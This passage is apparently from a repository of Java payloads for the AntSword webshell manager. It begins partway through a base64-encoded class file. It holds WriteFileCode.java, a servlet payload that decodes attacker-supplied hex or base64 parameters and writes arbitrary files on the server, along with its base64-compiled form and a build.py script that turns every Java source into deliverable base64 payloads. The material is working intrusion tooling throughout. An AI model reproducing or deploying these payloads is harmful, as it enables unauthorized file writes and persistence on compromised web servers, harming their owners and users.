0Q29udGVudFR5cGUBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAOb3BlbkNvbm5lY3Rpb24BABooKUxqYXZhL25ldC9VUkxDb25uZWN0aW9uOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBAARyZWFkAQAFKFtCKUkBAAcoW0JJSSlWAQAFY2xvc2UBAApkaXNjb25uZWN0ACEAWgBGAAAABAABAFsAXAAAAAEAXQBeAAAAAQBfAGAAAAABAGEAYAAAAAUAAQBiAGMAAQBkAAAALwACAAEAAAAPKrcAASoBtQACKgG1AAOxAAAAAQBlAAAADgADAAAACwAEAAwACQANAAEAZgB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 -------------------------------------------------------------------------------- /WriteFileCode.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yzddmr6/JspForAntSword/9c1fe021ad61faf0c7e5d4385b99d852fbd9f531/WriteFileCode.class -------------------------------------------------------------------------------- /WriteFileCode.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.http.HttpServletRequest; 2 | import javax.servlet.http.HttpServletResponse; 3 | import javax.servlet.jsp.PageContext; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.File; 6 | import java.io.FileOutputStream; 7 | import java.lang.reflect.Field; 8 | 9 | public class WriteFileCode { 10 | public HttpServletRequest request = null; 11 | public HttpServletResponse response = null; 12 | public String encoder; 13 | public String cs; 14 | 15 | @Override 16 | public boolean equals(Object obj) { 17 | if (obj instanceof PageContext) { 18 | PageContext page = (PageContext) obj; 19 | request = (HttpServletRequest) page.getRequest(); 20 | response = (HttpServletResponse) page.getResponse(); 21 | } else if (obj instanceof HttpServletRequest) { 22 | request = (HttpServletRequest) obj; 23 | try { 24 | Field req = request.getClass().getDeclaredField("request"); 25 | req.setAccessible(true); 26 | HttpServletRequest request2 = (HttpServletRequest) req.get(request); 27 | Field resp = request2.getClass().getDeclaredField("response"); 28 | resp.setAccessible(true); 29 | response = (HttpServletResponse) resp.get(request2); 30 | } catch (Exception e) { 31 | e.printStackTrace(); 32 | } 33 | 34 | } else if (obj instanceof HttpServletResponse) { 35 | response = (HttpServletResponse) obj; 36 | try { 37 | Field resp = response.getClass().getDeclaredField("response"); 38 | resp.setAccessible(true); 39 | HttpServletResponse response2 = (HttpServletResponse) resp.get(response); 40 | Field req = response2.getClass().getDeclaredField("request"); 41 | req.setAccessible(true); 42 | request = (HttpServletRequest) req.get(response2); 43 | } catch (Exception e) { 44 | e.printStackTrace(); 45 | } 46 | } 47 | encoder = request.getParameter("encoder") != null ? request.getParameter("encoder") : ""; 48 | cs = request.getParameter("charset") != null ? request.getParameter("charset") : "UTF-8"; 49 | StringBuffer output = new StringBuffer(""); 50 | StringBuffer sb = new StringBuffer(""); 51 | try { 52 | response.setContentType("text/html"); 53 | request.setCharacterEncoding(cs); 54 | response.setCharacterEncoding(cs); 55 | String var1 = EC(decode(request.getParameter("var1") + "")); 56 | String var2 = EC(decode(request.getParameter("var2") + "")); 57 | output.append("->" + "|"); 58 | sb.append(WriteFileCode(var1, var2, cs)); 59 | output.append(sb.toString()); 60 | output.append("|" + "<-"); 61 | response.getWriter().print(output.toString()); 62 | } catch (Exception e) { 63 | sb.append("ERROR" + ":// " + e.toString()); 64 | } 65 | return true; 66 | } 67 | 68 | String EC(String s) throws Exception { 69 | if (encoder.equals("hex")) return s; 70 | return new String(s.getBytes(), cs); 71 | } 72 | 73 | String decode(String str) throws Exception { 74 | if (encoder.equals("hex")) { 75 | if (str == null || str.equals("")) { 76 | return ""; 77 | } 78 | String hexString = "0123456789ABCDEF"; 79 | str = str.toUpperCase(); 80 | ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length() / 2); 81 | String ss = ""; 82 | for (int i = 0; i < str.length(); i += 2) { 83 | ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ","; 84 | baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1)))); 85 | } 86 | return baos.toString("UTF-8"); 87 | } else if (encoder.equals("base64")) { 88 | byte[] bt = null; 89 | try { 90 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 91 | bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 92 | } catch (ClassNotFoundException e) { 93 | Class clazz = Class.forName("java.util.Base64"); 94 | Object decoder = clazz.getMethod("getDecoder").invoke(null); 95 | bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 96 | } 97 | return new String(bt, "UTF-8"); 98 | } 99 | return str; 100 | } 101 | 102 | String WriteFileCode(String filePath, String fileContext, String cs) throws Exception { 103 | String h = "0123456789ABCDEF"; 104 | String fileHexContext = strtohexstr(fileContext, cs); 105 | File f = new File(filePath); 106 | FileOutputStream os = new FileOutputStream(f); 107 | for (int i = 0; i < fileHexContext.length(); i += 2) { 108 | os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1)))); 109 | } 110 | os.close(); 111 | return "1"; 112 | } 113 | 114 | String strtohexstr(String fileContext, String cs) throws Exception { 115 | String h = "0123456789ABCDEF"; 116 | byte[] bytes = fileContext.getBytes(cs); 117 | StringBuilder sb = new StringBuilder(bytes.length * 2); 118 | for (int i = 0; i < bytes.length; i++) { 119 | sb.append(h.charAt((bytes[i] & 0xf0) >> 4)); 120 | sb.append(h.charAt((bytes[i] & 0x0f) >> 0)); 121 | } 122 | String fileHexContext = sb.toString(); 123 | return fileHexContext; 124 | } 125 | 126 | } 127 | -------------------------------------------------------------------------------- /WriteFileCode.txt: -------------------------------------------------------------------------------- 1 | yv66vgAAADIBAAoARgB8CQBYAH0JAFgAfgcAfwoABACABwCBCgAEAIIHAIMKAEYAhAgAWQoAQwCFCgCGAIcKAIYAiAgAWwcAiQoADwCKCABdCwAGAIsIAIwJAFgAjQgAjggAjwkAWACQBwCRCgAYAJIIAJMLAAgAlAsABgCVCwAIAJUHAJYKAB4AfAgAlwoAHgCYCgAeAJkKAFgAmgoAWACbCACcCACdCgAYAJ4KAFgAnwoAGACZCACgCwAIAKEKAKIAowgApAoADwCZCAClCgAxAKYHAKcKADEAqAoAMQCpCACqCgAxAKsHAKwKADEArQoANgCuCgAxAK8KADEAsAoAHgCxCACyCgA2ALMKADYAtAgAtQgAtgoAQwC3CAC4BwC5CgBDALoKAEMAuwcAvAoAvQC+BwC/BwDACADBCADCCABwCgBYAMMHAMQKAE4AkgcAxQoAUADGCgBQALMKAFAAxwgAyAoAMQDJCgAeAK4KAB4AygcAcwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAiQcAcwcAcwcAvAcApwcAkQEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCsBwDAAQANV3JpdGVGaWxlQ29kZQEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7BwDEBwDFAQALc3RydG9oZXhzdHIBADgoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwcAlgEAClNvdXJjZUZpbGUBABJXcml0ZUZpbGVDb2RlLmphdmEMAGAAYQwAWQBaDABbAFwBAB1qYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dAwAywDMAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwAzQDOAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UMAM8A0AwA0QDSBwDTDADUANUMANYA1wEAE2phdmEvbGFuZy9FeGNlcHRpb24MANgAYQwA2QBuAQAADABdAF4BAAdjaGFyc2V0AQAFVVRGLTgMAF8AXgEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAGAA2gEACXRleHQvaHRtbAwA2wDaDADcANoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjEMAN0A3gwA3wDgDABwAG4MAG0AbgEABHZhcjIBAAMtPnwMAN0A4QwAcwB0AQADfDwtDADiAOMHAOQMAOUA2gEACUVSUk9SOi8vIAEAA2hleAwAZABlAQAQamF2YS9sYW5nL1N0cmluZwwA5gDnDABgAOgBABAwMTIzNDU2Nzg5QUJDREVGDADpAOABAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwA6gDrDABgAOwMAO0A7gwA7wDwDADdAPEBAAEsDADyAOwMAN8AbgEABmJhc2U2NAEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIMAPMA9AEADGRlY29kZUJ1ZmZlcgEAD2phdmEvbGFuZy9DbGFzcwwA9QD2DAD3APgBABBqYXZhL2xhbmcvT2JqZWN0BwD5DAD6APsBAAJbQgEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAHcAeAEADGphdmEvaW8vRmlsZQEAGGphdmEvaW8vRmlsZU91dHB1dFN0cmVhbQwAYAD8DAD9AGEBAAExDADmAP4MAN0A/wEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEADGdldFBhcmFtZXRlcgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADnNldENvbnRlbnRUeXBlAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQALdG9VcHBlckNhc2UBAAZsZW5ndGgBAAMoKUkBAAQoSSlWAQAGY2hhckF0AQAEKEkpQwEAB2luZGV4T2YBAAQoSSlJAQAcKEkpTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABXdyaXRlAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAEShMamF2YS9p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 -------------------------------------------------------------------------------- /build.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import base64 4 | import time 5 | ''' 6 | usage: python3 build.py 7 | 替换你的javac路径跟lib路径后在当前目录下运行,即可完成对当前路径下所有.java文件的编译以及生成base64格式的payload 8 | code by yzddmr6 9 | ''' 10 | 11 | javapath = 'C:/Java/jdk1.6.0_43/bin/javac.exe' #javac路径 12 | classpath = "D:/apache-tomcat-7.0.105/lib" #apache lib路径 13 | classpath = classpath+"/servlet-api.jar;"+classpath+"/jsp-api.jar" #拼接classpath 14 | def genpayload(targetfile): 15 | res = os.popen(f'"{javapath}" -cp {classpath} {targetfile}') 16 | time.sleep(0.5) 17 | targetclass = targetfile.replace('.java', '.class') 18 | if os.path.exists(targetclass): 19 | with open(targetclass, 'rb') as f: 20 | content = f.read() 21 | res = str(base64.b64encode(content),"UTF-8") 22 | # print(str(res,"UTF-8")) 23 | targettxt=targetfile.replace('.java','.txt') 24 | 25 | with open(targettxt,'w') as save: 26 | save.write(res) 27 | if save: 28 | print(targetfile+" Build Success!") 29 | else: 30 | print(targetfile+" Build Failed!") 31 | 32 | # genpayload(sys.argv[1]) 33 | 34 | for root,dirs,files in os.walk('.'): 35 | for f in files: 36 | if f.endswith(".java"): 37 | path=os.path.join(root,f) 38 | print('------------------------------------------------------------') 39 | print(path) 40 | genpayload(path) 41 | 42 | --------------------------------------------------------------------------------